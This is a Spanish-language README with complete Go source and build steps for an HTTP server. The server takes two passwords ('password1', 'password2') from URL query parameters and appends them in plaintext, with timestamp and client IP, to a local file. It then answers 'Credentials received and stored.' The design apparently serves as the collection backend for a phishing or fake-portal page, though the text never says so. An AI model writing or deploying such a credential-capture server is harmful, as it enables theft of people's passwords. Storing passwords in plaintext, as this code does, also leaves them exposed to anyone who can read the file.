Go-Server
Programa en GO que ejecuta un servidor interno para gestionar la información recibida desde el frontend.
Crear fichero server.go en /srv/http (o en /var/www/html, dependiendo la configuración del fichero /etc/httpd/conf/httpd.conf).
package main
import (
"fmt"
"log"
"net/http"
"os"
"strings"
"time"
)
const logFile = "server_data.txt"
func getClientIP(r *http.Request) string {
forwarded := r.Header.Get("X-Forwarded-For")
if forwarded != "" {
return strings.Split(forwarded, ",")[0]
}
realIP := r.Header.Get("X-Real-IP")
if realIP != "" {
return realIP
}
return strings.Split(r.RemoteAddr, ":")[0]
}
func logRequest(r *http.Request, password1, password2 string) {
clientIP := getClientIP(r)
logLine := fmt.Sprintf(
"%s - IP: %s - Method: %s - Password1: %s - Password2: %s\n",
time.Now().Format(time.RFC3339),
clientIP,
r.Method,
password1,
password2,
)
f, err := os.OpenFile(logFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
log.Println("Error opening log file:", err)
return
}
defer f.Close()
if _, err := f.WriteString(logLine); err != nil {
log.Println("Error writing to log file:", err)
}
}
func handleRequest(w http.ResponseWriter, r *http.Request) {
password1 := r.URL.Query().Get("password1")
password2 := r.URL.Query().Get("password2")
logRequest(r, password1, password2)
w.WriteHeader(http.StatusOK)
w.Write([]byte("Credentials received and stored.\n"))
}
func main() {
http.HandleFunc("/", handleRequest)
log.Println("Starting server on :8080...")
http.HandleFunc("/debug", func(w http.ResponseWriter, r *http.Request) {
ip := getClientIP(r)
fmt.Fprintf(w, "RemoteAddr: %s\n", r.RemoteAddr)
fmt.Fprintf(w, "IP Capturada: %s\n", ip)
})
if err := http.ListenAndServe("192.168.50.113:8080", nil); err != nil {
log.Fatal("ListenAndServe: ", err)
}
}
Parámetros a modificar
IP_SERVER: IP de la interfaz de red por donde se ejecutará el servidor.
Por ejemplo, 192.168.10.129 o 192.168.51.217
PORT_SERVER: Puerto designado para la ejecución del servidor.
Por ejemplo, el puerto 8080, 8000, 9090 o el que usted elija.
Recordar que el puerto elejido no puede estar en uso en el sistema.
Compilar fichero server.go
go build -o server server.go
Ejecutar el servidor
./server